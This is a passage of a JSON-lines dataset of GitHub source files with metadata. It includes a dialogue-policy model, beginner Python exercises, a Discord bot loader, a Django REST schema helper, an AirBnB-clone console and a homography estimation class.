prob_mask[:, 1:, :].long())\n return prob\n\n def _norm_prob(self, a, prob, mask):\n prob = softmax(prob, -1)\n base = self._base(prob, mask).to(self.device) # [b, seq_len]\n prob = (prob*one_hot(a, num_classes=self.vocab)).sum(-1)\n prob = torch.log(prob / base)\n pad_mask = a != 1\n prob = prob*pad_mask.float()\n return prob.sum(-1)\n\n @staticmethod\n def _base(prob, mask):\n batch_size, seq_len, dim = prob.shape\n base = torch.zeros(batch_size, seq_len)\n for b in range(batch_size):\n for s in range(seq_len):\n temp = [prob[b, s, c] for c in mask[b, s, :] if c > 0]\n base[b, s] = torch.sum(torch.tensor(temp))\n return base\n\n\nif __name__ == \"__main__\":\n import os\n from convlab.util.custom_util import set_seed\n from convlab.policy.genTUS.stepGenTUS import UserActionPolicy\n set_seed(0)\n device = \"cuda\" if torch.cuda.is_available() else \"cpu\"\n\n model_checkpoint = 'results/genTUS-22-01-31-09-21/'\n usr = UserActionPolicy(model_checkpoint=model_checkpoint)\n usr.model.load_state_dict(torch.load(\n os.path.join(model_checkpoint, \"pytorch_model.bin\"), map_location=device))\n usr.model.eval()\n\n test_file = \"convlab/policy/genTUS/data/goal_status_validation_v1.json\"\n data = json.load(open(test_file))\n test_id = 20\n inputs = usr.tokenizer(data[\"dialog\"][test_id][\"in\"],\n max_length=400,\n return_tensors=\"pt\",\n truncation=True)\n\n actions = [data[\"dialog\"][test_id][\"out\"],\n data[\"dialog\"][test_id+100][\"out\"]]\n\n for action in actions:\n action = json.loads(action)\n vec = usr.vector.action_vectorize(\n action[\"action\"], s=inputs[\"input_ids\"])\n\n print({\"action\": action[\"action\"]})\n print(\"get_log_prob\", usr.model.get_log_prob(\n inputs[\"input_ids\"],\n torch.unsqueeze(vec[\"vector\"], 0),\n inputs[\"attention_mask\"],\n torch.unsqueeze(vec[\"mask\"], 0)))\n","repo_name":"ConvLab/ConvLab-3","sub_path":"convlab/policy/genTUS/stepGenTUSmodel.py","file_name":"stepGenTUSmodel.py","file_ext":"py","file_size_in_byte":4350,"program_lang":"python","lang":"en","doc_type":"code","stars":89,"dataset":"github-code","pt":"32"} +{"seq_id":"38885591674","text":"EngMarks = int(input(\"Enter English Mark :\"))\nUrMarks = int(input(\"Enter Urdu Mark :\"))\nMthMarks = int(input(\"Enter Math Mark :\"))\nPhyMarks = int(input(\"Enter Physics Mark :\"))\nIslMarks = int(input(\"Enter Islamiat Mark :\"))\nprint()\nprint((\"*\"*10,\"MARK SHEET\",\"*\"*10),\"\\nSubject\",\"\\t Marks \",\"\\t Obtain Marks \",\n \"\\nEnglish\",\"\\t100\",\"\\t\\t\\t\",EngMarks,\"\\nUrdu\",\"\\t\\t100\",\n \"\\t\\t\\t\",UrMarks,\"\\nMath\",\"\\t\\t100\",\"\\t\\t\\t\",MthMarks,\n \"\\nPhysics\",\"\\t100\",\"\\t\\t\\t\",PhyMarks,\"\\nIslamiat\",\"\\t100\",\"\\t\\t\\t\",IslMarks)\nprint()\nTotMarks=500\nObtMarks=(EngMarks + UrMarks + MthMarks + PhyMarks + IslMarks)\nprint(\"Total Marks =\",TotMarks, \"\\nObtain Marks =\",ObtMarks)\nprint()\nperc=(EngMarks + UrMarks + MthMarks + PhyMarks + IslMarks)/TotMarks*100\n\nprint(\"Percentage is \",perc,\"%\" )\nif ObtMarks<200:\n print(\"Fail\")\nelse:\n print(\"Pass\")","repo_name":"waqasali143/PIAIC-AI-Assignment","sub_path":"Marks Sheet/MarkSheet.py","file_name":"MarkSheet.py","file_ext":"py","file_size_in_byte":838,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"32"} +{"seq_id":"30114612467","text":"\"\"\"\r\n\n\nA number is said to be **Harshad** if it's _exactly divisible_ by the **sum**\nof its digits. Create a function that determines whether a number is a Harshad\nor not.\n\n### Examples\n\n is_harshad(75) ➞ False\n # 7 + 5 = 12\n # 75 is not exactly divisible by 12\n \n is_harshad(171) ➞ True\n # 1 + 7 + 1 = 9\n # 9 exactly divides 171\n \n is_harshad(481) ➞ True\n \n is_harshad(89) ➞ False\n \n is_harshad(516) ➞ True\n \n is_harshad(200) ➞ True\n\n### Notes\n\n * A recursive version of this challenge can be found in [here](https://edabit.com/challenge/RdenTLqyWW9a6L5aL).\n\n\"\"\"\r\n\ndef is_harshad(n):\n sn=str(n)\n digit_total=0\n for digit in sn:\n digit_total+=int(digit)\n if n % digit_total==0:\n return True\n return False\n\n","repo_name":"daniel-reich/turbo-robot","sub_path":"eADRy5SA5QbasA3Qt_9.py","file_name":"eADRy5SA5QbasA3Qt_9.py","file_ext":"py","file_size_in_byte":795,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"38883436904","text":"import discord\nfrom discord.ext import commands\nimport json\nimport random\nimport os\n\nwith open('setting.json','r',encoding='utf8') as jf:\n jsdata=json.load(jf)#把一长串的东西丢到json档案里\n\nintents=discord.Intents.default()#新版本\nintents.members=True#新版本\nbot=commands.Bot(command_prefix='[',intents=intents)\n\n@bot.event#机器人的事件\nasync def on_ready():\n print('Bing Chilling机器人 is online')#bot上线\n#已经放入event的cog资料夹里面了\n# #成员加入讯息\n# @bot.event\n# async def on_member_join(member):\n# cha=bot.get_channel(int(jsdata['wellcome_cannel']))#把讯息发送到指定聊天频道(欢迎)\n# await cha.send(F'{member} 加入了:)!')#有人加入了 传送讯息在该频道\n\n# #成员离开讯息\n# @bot.event\n# async def on_member_remove(member):\n# cha=bot.get_channel(int(jsdata['leave_cannel']))#把讯息发送到指定聊天频道(离开)\n# await cha.send(F'{member} 离开了:(')#有人离开了 传送讯息在该频道\n\n#已经放入了react的cog资料夹里面了\n# @bot.command()\n# async def ping(ctx):\n# await ctx.send(f'{round(bot.latency*1000)} [ms]' )\n# #从我的电脑档案中传送图片讯息\n\n# @bot.command()\n# async def 图片(ctx):#ctx: 类似与机器人的上下文对话 当使用者输入'['时 机器如就知道这是一个指令(参见第10行)\n# ran_pic=random.choice(jsdata['pi'])#随机选择一张图片\n# pic=discord.File(ran_pic)\n# await ctx.send(file=pic)\n\n# @bot.command()\n# async def load(ctx, extension):\n# bot.load_extension[f'cmds.{extension}']\n# await ctx.send[f'Loaded {extension} done.']\n\n# @bot.command()\n# async def unload(ctx, extension):\n# bot.unload_extension[f'cmds.{extension}']\n# await ctx.send[f'UnLoaded {extension} done.']\n\n# @bot.command()\n# async def reload(ctx, extension):\n# bot.reload_extension[f'cmds.{extension}']\n# await ctx.send[f'ReLoaded {extension} done.']\n\n\n\nfor filename in os.listdir('./cmds'):\n if filename.endswith('.py'): #档名为.py才导入 \n bot.load_extension(f'cmds.{filename[:-3]}')#把导入后档名的.py去掉\n\nif __name__=='__main__': \n bot.run(jsdata['token'])#执行机器人 'token' 是此机器人的执行金钥(完整的放在json里)\n\n","repo_name":"May5TheLLER/Bing-Chilling_bot","sub_path":"bot.py","file_name":"bot.py","file_ext":"py","file_size_in_byte":2264,"program_lang":"python","lang":"zh","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"71219704091","text":"# Project: drf-internal-cookiecutter\n# |\\ _,,,---,,_\n# ZZZzz /,`.-'`' -. ;-;;,_\n# |,4- ) )-,_. ,\\ ( `'-'\n# '---''(_/--' `-'\\_)\n# @Rakanhf\n# Rakan Farhouda\n#\n\n\nfrom drf_spectacular.openapi import AutoSchema\nimport re\n\n\nclass CustomAutoSchema(AutoSchema):\n \"\"\"\n Custom schema class for DRF spectacular that provides enhanced features\n like natural language operation IDs, custom tagging, and filter field enumeration.\n \"\"\"\n\n def get_tags(self):\n \"\"\"\n Override to provide custom tags for the API endpoints. Tags are determined\n based on the view's name or URL, with a fallback to the default logic.\n \"\"\"\n view_name = self._view.__class__.__name__.lower()\n url_name = getattr(self._view, \"url_name\", \"\").lower()\n\n if \"password\" in view_name or \"password\" in url_name:\n return [\"Reset Password\"]\n\n return [\n getattr(\n self._view,\n \"drf_tag\",\n self._view.__class__.__name__.replace(\"ViewSet\", \"\"),\n )\n ]\n\n def get_description(self):\n \"\"\"\n Override to extract and provide a custom description for the API endpoints.\n The description is extracted from the docstring of the view.\n \"\"\"\n doc = self._view.__doc__\n if doc:\n description_lines = [\n line.strip() for line in doc.split(\"\\n\") if line.strip().startswith(\"*\")\n ]\n return \" \".join(description_lines).strip(\"*\") if description_lines else None\n return f\"{self._view.__class__.__name__} operations\"\n\n def get_filter_fields(self):\n \"\"\"\n Generates a list of available filter, search, and ordering fields for the view.\n \"\"\"\n if hasattr(self._view, \"filter_backends\"):\n filter_backends = self._view.filter_backends\n fields = []\n for backend in filter_backends:\n if hasattr(backend, \"get_filterset_class\"):\n filterset_class = backend.get_filterset_class(\n self._view, self._view\n )\n if filterset_class:\n fields.extend(filterset_class().get_fields())\n elif hasattr(backend, \"search_fields\"):\n fields.extend(backend.search_fields or [])\n elif hasattr(backend, \"ordering_fields\"):\n fields.extend(backend.ordering_fields or [])\n return fields\n return []\n\n def get_operation_id(self):\n \"\"\"\n Generates a more readable, natural language format for operation IDs.\n \"\"\"\n operation_id = super().get_operation_id()\n try:\n return self._reformat_operation_id(operation_id)\n except Exception as e:\n print(f\"Error in reformating operation ID: {e}\")\n return operation_id\n\n def _reformat_operation_id(self, operation_id):\n \"\"\"\n Helper method to reformat the operation ID into a more readable format.\n \"\"\"\n readable_operation_id = operation_id.replace(\"_\", \" \").title()\n list_pattern = re.compile(r\"(.*)List$\")\n create_pattern = re.compile(r\"(.*)Create$\")\n if list_pattern.match(readable_operation_id):\n return \"List \" + list_pattern.sub(r\"\\1\", readable_operation_id)\n elif create_pattern.match(readable_operation_id):\n return \"Create \" + create_pattern.sub(r\"\\1\", readable_operation_id)\n return readable_operation_id\n\n def get_operation(self, path, path_regex, path_prefix, method, registry):\n \"\"\"\n Override to add custom fields to the schema operation.\n \"\"\"\n operation = super().get_operation(\n path, path_regex, path_prefix, method, registry\n )\n if operation is not None:\n operation[\"x-custom-filter-fields\"] = self.get_filter_fields()\n return operation\n\n\ndef tag_view(view_class, tag):\n \"\"\"\n Helper function to tag a DRF view with a specific tag for API documentation.\n \"\"\"\n\n class TaggedView(view_class):\n drf_tag = tag\n\n return TaggedView\n","repo_name":"Rakanhf/drf-internal-cookiecutter","sub_path":"core/schema.py","file_name":"schema.py","file_ext":"py","file_size_in_byte":4199,"program_lang":"python","lang":"en","doc_type":"code","stars":5,"dataset":"github-code","pt":"32"} +{"seq_id":"42711530168","text":"from PIL import Image, ImageDraw, ImageFont\n\n#CARGAR IMAGEN DE BASE\nbase = Image.open('earth.png').convert('RGBA')\n\n# CREAR CAPA PARA SUPERPONER\ntxt = Image.new('RGBA', base.size, (255,255,255,0))\n\n#DEFINIR FUENTE\nfnt = ImageFont.truetype('arial.ttf', 40)\n#CONTESTO DE DIBUJADO\nd = ImageDraw.Draw(txt)\n\n# DIBUJAR TEXTO CON TRANSPARENCIA 128\nd.text((10,10), \"Hello\", font=fnt, fill=(255,255,255,128))\n# DIBUJAR TEXTO SIN TRANSPARENCIA\nd.text((10,60), \"World\", font=fnt, fill=(255,255,255,255))\n\n#SUPERPONER\nout = Image.alpha_composite(base, txt)\n\n#MOSTRAR\nout.show()\n\n#GUARDAR\nout.save(\"new.png\")\n","repo_name":"antonioam82/ejercicios-python","sub_path":"image_drawing.py","file_name":"image_drawing.py","file_ext":"py","file_size_in_byte":596,"program_lang":"python","lang":"es","doc_type":"code","stars":31,"dataset":"github-code","pt":"32"} +{"seq_id":"9947042340","text":"class Solution:\n def shortestPathBinaryMatrix(self, grid: List[List[int]]) -> int:\n # time O(M * N)\n # space O(M * N)\n \n n = len(grid)\n \n directions = [(1,0),(0,1),(-1,0),(0,-1),(1,1),(-1,-1),(1,-1),(-1,1)]\n \n def isBounded (row, col, n):\n return 0 <= row < n and 0 <= col < n\n \n # check for 1 at start and end \n if grid[0][0] or grid[n-1][n-1]:\n return -1\n \n queue = deque([(0, 0, 1)])\n \n def bfs ():\n \n while queue:\n r, c, d = queue.popleft()\n if r == n-1 and c == n-1 :\n return d\n for row, col in directions :\n nrow, ncol = r + row, col + c\n if isBounded(nrow, ncol, n) and not grid[nrow][ncol]:\n queue.append((nrow, ncol, d + 1))\n grid[nrow][ncol] = 1\n return -1\n return bfs()\n","repo_name":"Gizaw-Agodo/A2sV","sub_path":"1091-shortest-path-in-binary-matrix/1091-shortest-path-in-binary-matrix.py","file_name":"1091-shortest-path-in-binary-matrix.py","file_ext":"py","file_size_in_byte":999,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"32"} +{"seq_id":"1441453241","text":"#!/usr/bin/python3\n\"\"\"\nConsole module that contains the entry point of the command interpreter\n\"\"\"\nimport cmd\nfrom models.base_model import *\nfrom models import FileStorage\nfrom models.user import User\nfrom models.state import State\nfrom models.city import City\nfrom models.amenity import Amenity\nfrom models.place import Place\nfrom models.review import Review\n\n\nclass HBNBCommand(cmd.Cmd):\n \"\"\"\n our command interpreter class that will implement\n quit, EOF, help, and a custom prompt (hbnb). An empty line + ENTER\n must not do anything\n \"\"\"\n prompt = '(hbnb) '\n classes_list = [\"BaseModel\", \"User\", \"State\", \"City\", \"Amenity\", \"Place\",\n \"Review\"]\n int_attrs = [\"number_rooms\", \"number_bathrooms\", \"max_guest\",\n \"price_by_night\"]\n float_attrs = [\"latitude\", \"longitude\"]\n\n def do_EOF(self, line):\n \"\"\"Quits console when CTRL + D is pressed\"\"\"\n print()\n return True\n\n def do_quit(self, line):\n \"\"\"Quit command to exit the program\"\"\"\n return True\n\n def emptyline(self):\n \"\"\"Empty line + ENTER must not execute anything\"\"\"\n pass\n\n def do_create(self, line):\n \"\"\"\n Creates a new instance of a class and prints the unique id\n \"\"\"\n if not line:\n print(\"** class name missing **\")\n return\n\n args = line.split()\n\n if args[0] not in HBNBCommand.classes_list:\n print(\"** class doesn't exist **\")\n return\n\n new_obj = globals()[args[0]]()\n new_obj.save()\n print(new_obj.id)\n\n def do_show(self, line):\n \"\"\"\n Prints the string representation of an instance based on the class name\n and id\n \"\"\"\n if not line:\n print(\"** class name missing **\")\n return\n\n args = line.split()\n\n if args[0] not in HBNBCommand.classes_list:\n print(\"** class doesn't exist **\")\n return\n\n if len(args) < 2:\n print(\"** instance id missing **\")\n return\n\n obj_key = args[0] + \".\" + args[1]\n storage = FileStorage()\n all_objs = storage.all()\n\n for key, value in all_objs.items():\n if key == obj_key:\n print(value)\n return\n print(\"** no instance found **\")\n\n def do_destroy(self, line):\n \"\"\"\n Deletes an instance based on the class name and id,\n saves the change into the JSON file\n \"\"\"\n if not line:\n print(\"** class name missing **\")\n return\n\n args = line.split()\n\n if args[0] not in HBNBCommand.classes_list:\n print(\"** class doesn't exist **\")\n return\n\n if len(args) < 2:\n print(\"** instance id missing **\")\n return\n\n obj_key = args[0] + \".\" + args[1]\n storage = FileStorage()\n all_objs = storage.all()\n\n for key, value in all_objs.items():\n if key == obj_key:\n del all_objs[key]\n storage.__objects = all_objs\n storage.save()\n return\n\n print(\"** no instance found **\")\n\n def do_all(self, line):\n \"\"\"\n Prints all string representation of all instances based or not on the\n class name\n \"\"\"\n storage = FileStorage()\n all_objs = storage.all()\n obj_list = []\n check = False\n\n if not line:\n for key, value in all_objs.items():\n obj_list.append(str(value))\n print(obj_list)\n return\n\n args = line.split()\n\n if args[0] not in HBNBCommand.classes_list:\n print(\"** class doesn't exist **\")\n return\n\n for key, value in all_objs.items():\n if args[0] in key:\n obj_list.append(str(value))\n print(obj_list)\n\n def do_update(self, line):\n \"\"\"\n Updates an instance based on the class name and id by adding or\n updating attribute\n \"\"\"\n if not line:\n print(\"** class name missing **\")\n return\n\n args = line.split()\n\n if args[0] not in HBNBCommand.classes_list:\n print(\"** class doesn't exist **\")\n return\n\n if len(args) < 2:\n print(\"** instance id missing **\")\n return\n\n obj_key = args[0] + \".\" + args[1]\n storage = FileStorage()\n all_objs = storage.all()\n\n for key, value in all_objs.items():\n if key == obj_key:\n if len(args) < 3:\n print(\"** attribute name missing **\")\n return\n if len(args) < 4:\n print(\"** value missing **\")\n return\n if args[2] in HBNBCommand.int_attrs:\n args[3] = int(args[3])\n if args[2] in HBNBCommand.float_attrs:\n args[3] = float(args[3])\n setattr(value, args[2], args[3])\n storage.save()\n return\n\n print(\"** no instance found **\")\n\n def do_count(self, line):\n \"\"\"\n Retrieve the number of instances of a class\n \"\"\"\n storage = FileStorage()\n all_objs = storage.all()\n count = 0\n\n if not line:\n print(\"** class name missing **\")\n return\n\n args = line.split()\n\n if args[0] not in HBNBCommand.classes_list:\n print(\"** class doesn't exist **\")\n return\n\n for key, value in all_objs.items():\n if args[0] in key:\n count += 1\n print(count)\n\n def precmd(self, line):\n \"\"\"\n overrides parent method to handle the parsing of commands\n \"\"\"\n if not line:\n return line\n\n args = line.split()\n\n if args[0] in ['EOF', 'quit', 'create', 'show', 'destroy', 'all',\n 'update', 'count', 'help']:\n return line\n\n args = args[0].split('.')\n class_name = args[0]\n\n if class_name not in HBNBCommand.classes_list:\n print(\"** class doesn't exist **\")\n return line\n\n if len(args) > 1:\n args = args[1].split('(')\n command = args[0]\n obj_id = args[1].split('\"')\n new_line = command + \" \" + class_name + \" \"\n if len(obj_id) > 1:\n new_line += obj_id[1]\n\n return new_line\n\n\nif __name__ == '__main__':\n HBNBCommand().cmdloop()\n","repo_name":"evanrich2404/holbertonschool-AirBnB_clone","sub_path":"console.py","file_name":"console.py","file_ext":"py","file_size_in_byte":6566,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"6138997546","text":"# coding=utf-8\n\n\nclass Solution:\n def reverseString(self, s):\n def helper(left, right):\n if left < right:\n s[left], s[right] = s[right], s[left]\n # helper(left + 1, right - 1)\n\n helper(0, len(s) - 1)\n\n\nclass Solution2:\n def reverseString(self, s):\n left, right = 0, len(s) - 1\n while left < right:\n s[left], s[right] = s[right], s[left]\n left, right = left + 1, right - 1\n\nif __name__ == \"__main__\":\n s = \"hello\"\n print(s[1])\n # s[2] = \"x\"\n '''\n sl = Solution()\n sl.reverseString(s)\n print(s)\n '''\n","repo_name":"halokid/MyLeetCodeBox","sub_path":"test/reverse_string_recursion.py","file_name":"reverse_string_recursion.py","file_ext":"py","file_size_in_byte":549,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"32"} +{"seq_id":"42622714527","text":"import sys\nsys.path.append(\"./\")\nimport os\nimport cv2\nimport concurrent.futures\nfrom concurrent.futures import ThreadPoolExecutor\nfrom utils.interpolation import Interpolation\nimport matplotlib.pyplot as plt\nimport numpy as np\n\n\nclass HomographyEstimation:\n def __init__(self, image_path):\n self.image = cv2.imread(image_path)\n self.P, self.Q, _ = self.image.shape\n\n def show_image(self, image, title=\"\"):\n plt.imshow(cv2.cvtColor(image, cv2.COLOR_BGR2RGB))\n plt.title(title)\n plt.show()\n\n def compute_homography(self, src_pts, dst_pts):\n \"\"\"\n Compute the homography matrix using selected correspondence points.\n \"\"\"\n # Initialize the matrix A\n A = []\n\n for i in range(4): # Since we have 4 correspondence points\n src = src_pts[i]\n dst = dst_pts[i]\n\n A.extend([\n [src[0], src[1], 1, 0, 0, 0, -dst[0]*src[0], -dst[0]*src[1]],\n [0, 0, 0, src[0], src[1], 1, -dst[1]*src[0], -dst[1]*src[1]]\n ])\n\n b = dst_pts.reshape(8)\n # Solve the system of equations\n h = np.linalg.lstsq(A, b, rcond=None)[0]\n # Reshape h to get the homography matrix\n H = np.vstack((h[:3], h[3:6], np.append(h[6:], [1])))\n return H\n\n def _apply_homography_section(self, section, H, interp_method):\n top, bottom, left, right = section\n dst_section = np.zeros((bottom-top, right-left, 3), dtype=np.uint8)\n inv_H = np.linalg.inv(H)\n\n for x in range(left, right):\n for y in range(top, bottom):\n src = inv_H @ np.array([x, y, 1])\n src = src / src[2]\n\n x_src, y_src = src[0], src[1]\n\n if 0 <= x_src < self.Q and 0 <= y_src < self.P:\n dst_section[y-top, x-left] = Interpolation.get_pixel_value(\n self.image, x_src, y_src, interp_method)\n\n return dst_section\n \n def get_transformed_corners(self, H):\n # Esquinas de la imagen original\n corners = np.array([\n [0, 0, 1],\n [self.Q-1, 0, 1],\n [self.Q-1, self.P-1, 1],\n [0, self.P-1, 1]\n ])\n\n # Transformando las esquinas\n transformed_corners = []\n for corner in corners:\n new_corner = H @ corner\n new_corner /= new_corner[2] # Normalizar\n transformed_corners.append(new_corner[:2])\n\n transformed_corners = np.array(transformed_corners)\n \n # Min and Max X, Y values\n min_x = int(np.floor(transformed_corners[:, 0].min()))\n max_x = int(np.ceil(transformed_corners[:, 0].max()))\n min_y = int(np.floor(transformed_corners[:, 1].min()))\n max_y = int(np.ceil(transformed_corners[:, 1].max()))\n \n return min_x, max_x, min_y, max_y\n\n\n def _split_image_sections(self, width, height, num_sections):\n \"\"\"\n Split the image into horizontal strips.\n \"\"\"\n section_height = height // num_sections\n sections = []\n\n for i in range(num_sections):\n top = i * section_height\n bottom = (i+1) * section_height if i != num_sections - 1 else height\n sections.append((top, bottom, 0, width))\n\n return sections\n\n def _recursive_split(self, section, min_height):\n \"\"\"\n Recursively split the image section into horizontal strips.\n \"\"\"\n top, bottom, left, right = section\n if (bottom - top) <= min_height:\n return [section]\n\n middle = (top + bottom) // 2\n top_section = (top, middle, left, right)\n bottom_section = (middle, bottom, left, right)\n\n return self._recursive_split(top_section, min_height) + self._recursive_split(bottom_section, min_height)\n\n def apply_homography_manual(self, H, width, height, interp_method='bilinear', use_multithreading=False, thread_percentage=1, min_height=50):\n # If not using multithreading, apply homography on the entire image\n if not use_multithreading:\n return self._apply_homography_section((0, height, 0, width), H, interp_method)\n else:\n max_threads = int(thread_percentage * os.cpu_count())\n initial_sections = self._split_image_sections(width, height, max_threads)\n\n # Use recursive splitting to get the final sections\n sections = []\n for section in initial_sections:\n sections.extend(self._recursive_split(section, min_height))\n\n dst = np.zeros((height, width, 3), dtype=np.uint8)\n inv_H = np.linalg.inv(H)\n min_x, max_x, min_y, max_y = self.get_transformed_corners(H)\n\n def map_section_to_original(section):\n top, bottom, left, right = section\n dst_section = np.zeros((bottom-top, right-left, 3), dtype=np.uint8)\n\n for x in range(max(left, min_x), min(right, max_x+1)):\n for y in range(max(top, min_y), min(bottom, max_y+1)):\n src = inv_H @ np.array([x, y, 1])\n src = src / src[2]\n x_src, y_src = src[0], src[1]\n if 0 <= x_src < self.Q and 0 <= y_src < self.P:\n dst_section[y-top, x-left] = Interpolation.get_pixel_value(\n self.image, x_src, y_src, interp_method)\n\n return dst_section\n\n with ThreadPoolExecutor(max_threads) as executor:\n future_to_section = {executor.submit(\n map_section_to_original, section): section for section in sections}\n for future in concurrent.futures.as_completed(future_to_section):\n section = future_to_section[future]\n top, bottom, left, right = section\n dst[top:bottom, left:right] = future.result()\n\n return dst\n\n def select_correspondence_points(self):\n \"\"\"\n This function allows the user to manually select correspondence points \n on the original image and a black image of the same size. The points will be\n displayed on the images after selection.\n \"\"\"\n # Display original image and get points\n plt.imshow(cv2.cvtColor(self.image, cv2.COLOR_BGR2RGB))\n plt.title(\"Original Image\")\n original_points = plt.ginput(4)\n\n # Plot the selected points on the image\n for pt in original_points:\n plt.scatter(pt[0], pt[1], color='red')\n\n plt.show()\n\n # Clear the figure\n plt.close()\n\n # Display black image and get points\n black_image = np.zeros_like(self.image)\n plt.imshow(black_image)\n plt.title(\"Black Image\")\n black_image_points = plt.ginput(4)\n\n # Plot the selected points on the black image\n for pt in black_image_points:\n plt.scatter(pt[0], pt[1], color='red')\n\n plt.show()\n\n # Clear the figure again\n plt.close()\n\n return original_points, black_image_points\n\n def apply_selected_homography(self, original_pts, black_image_pts, interp_method='bilinear', use_multithreading=False, thread_percentage=1):\n # Compute the homography\n H = self.compute_homography(\n np.array(original_pts), np.array(black_image_pts))\n # Apply the computed homography with specified interpolation method and multithreading options\n return self.apply_homography_manual(H, self.Q, self.P, interp_method, use_multithreading, thread_percentage)\n\n def apply_homography_opencv(self, original_pts, black_image_pts):\n \"\"\"\n Compute and apply the homography using OpenCV.\n \"\"\"\n src_pts = np.array(original_pts, dtype=np.float32)\n dst_pts = np.array(black_image_pts, dtype=np.float32)\n \n # Compute the homography matrix using OpenCV\n H, _ = cv2.findHomography(src_pts, dst_pts)\n \n # Warp the source image\n transformed_image = cv2.warpPerspective(self.image, H, (self.Q, self.P))\n \n return transformed_image","repo_name":"DMGochoa/computerVisionMSC","sub_path":"utils/homography.py","file_name":"homography.py","file_ext":"py","file_size_in_byte":8169,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"32"} +{"seq_id":"30105337347","text":"\"\"\"\r\n\n\nCreate a function that can take 1, 2, or 3 arguments (like the range function)\nand returns a tuple. This should be able to return float values (as opposed to\nthe range function which can't take float values as a step).\n\n### Examples\n\n drange(1.2, 5.9, 0.45) ➞ (1.2, 1.65, 2.1, 2.55, 3.0, 3.45, 3.9, 4.35, 4.8, 5.25, 5.7)\n \n drange(10) ➞ (0, 1, 2, 3, 4, 5, 6, 7, 8, 9)\n \n drange(1, 7, 1.2) ➞ (1, 2.2, 3.4, 4.6, 5.8)\n # Here 7 is not included, like in the range function.\n\n### Notes\n\nAlways round values to the number with the most decimal digits (e.g. in the\nfirst example, the answer should always be rounded to 2 digits. In the second,\nit should be rounded to 0 digits and the third, 1 digit).\n\n\"\"\"\r\n\ndef drange(*args):\n myans = []\n if len(args) == 3:\n a = args[0]\n while a < args[1]:\n myans.append(round(a,3))\n a += args[2]\n return tuple(myans)\n elif len(args) == 2:\n a = args[0]\n while a < args[1]:\n myans.append(round(a,3))\n a += 1\n return tuple(myans)\n else:\n for i in range(args[0]):\n myans.append(i)\n return tuple(myans)\n\n","repo_name":"daniel-reich/turbo-robot","sub_path":"aQWPiDnfwdE7xnqDq_9.py","file_name":"aQWPiDnfwdE7xnqDq_9.py","file_ext":"py","file_size_in_byte":1113,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"75035538970","text":"# -*- coding: utf-8 -*-\n\nfrom classes import *\n\ndef parse(filename: str) -> List[photo]:\n\tdatasets_folder = \"../datasets/\"\n\tfile = open(datasets_folder + filename)\n\t_photo_list = list()\n\n\tdef parse_line(line: str, index: int) -> photo:\n\t\tphoto_attributes = line[:-1].split(' ')\n\n\t\treturn photo(index, photo_attributes[0], photo_attributes[2:])\n\n\tfile.readline()\n\t_photo_list.append(parse_line(file.readline(), 0))\n\tphotos_number = 1\n\n\tfor line in file:\n\t\t_photo_list.append(parse_line(line, photos_number))\n\t\tphotos_number += 1\n\n\treturn _photo_list\n\ndef output(slideshow, filename):\n\timport os\n\n\tif(os.path.isfile('./' + filename)):\n\t\tfile = open(filename, \"w\")\n\telse:\n\t\tfile = open(filename, \"x\")\n\n\tfile.write(str(len(slideshow)) + \"\\n\")\n\tfor slide in slideshow:\n\t\tfile.write(slide.to_string())\n\tfile.close()\n\ndef convert(photos: photo_list) -> slideshow:\n\t_slideshow = list()\n\tdummy_tags = set()\n\tdummy_tags.add(\"test\")\n\tdummy_photo = photo(0, 'H', dummy_tags)\n\tdummy_list = list()\n\tdummy_list.append(dummy_photo)\n\t_slideshow.append(slide('H', dummy_list))\n\treturn _slideshow\n\ndef main():\n\tphotos = parse(\"a_example.txt\")\n\tfor photo in photos:\n\t\tphoto.print()\n\n\tslideshow = convert(photos)\n\tfor slide in slideshow:\n\t\tslide.print()\n\n\toutput(slideshow, \"test.txt\")\n\nif __name__ == \"__main__\":\n\tmain()\n","repo_name":"AntoineSebert/hash_code_2019","sub_path":"src/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":1301,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"29910866487","text":"\ndef longest_nonrepeating_substring(txt):\n lst_sub = []\n for i in range(len(txt)):\n cache_list = []\n j = i + 1\n cache_list.append(txt[i])\n while j < len(txt) and txt[j] not in cache_list:\n cache_list.append(txt[j])\n j += 1\n lst_sub.append(cache_list)\n cl = [len(i) for i in lst_sub]\n op_lst = lst_sub[cl.index(max(cl))]\n op_str = \"\"\n for c in op_lst:\n op_str += c\n return op_str\n\n","repo_name":"daniel-reich/ubiquitous-fiesta","sub_path":"58RNhygGNrKjPXwna_9.py","file_name":"58RNhygGNrKjPXwna_9.py","file_ext":"py","file_size_in_byte":465,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"72580286810","text":"from enum import Enum\n\n\nclass LogDirNames(Enum):\n OUTPUT_ROOT = \"Output\"\n TRAINING_ROOT = \"Train_\"\n CHECKPOINTS = \"Checkpoints\"\n EVAL = \"Evaluation\"\n EVAL_ROOT = \"Eval_\"\n\n\nclass LogFileNames(Enum):\n TRAIN_LOG = \"TRAIN_LOG.txt\"\n EVAL_LOG = \"EVAL_LOG.txt\"\n\n\nclass CacheDirNames(Enum):\n ROOT = \".simple-torch-training\"\n DATASETS = \"datasets\"\n MODELS = \"models\"\n","repo_name":"rohrii/simple-torch-training","sub_path":"lib/helpers/enums.py","file_name":"enums.py","file_ext":"py","file_size_in_byte":388,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"74697248091","text":"\"\"\"\nHelping functions, mostly for fortran interface. Put here to tidy up main Mlpp\nclass a bit.\n\"\"\"\nimport numpy as np\n\ndef get_node_distribution(weights,input_type='a',set_type=\"train\"):\n \"\"\"\n For the given set (already in fortran), return either the distribution of\n node values before or after activation functions are applied\n \n Parameters\n ----------\n weights : np.ndarray\n A 1d array of weights for the neural network. Must be the correct 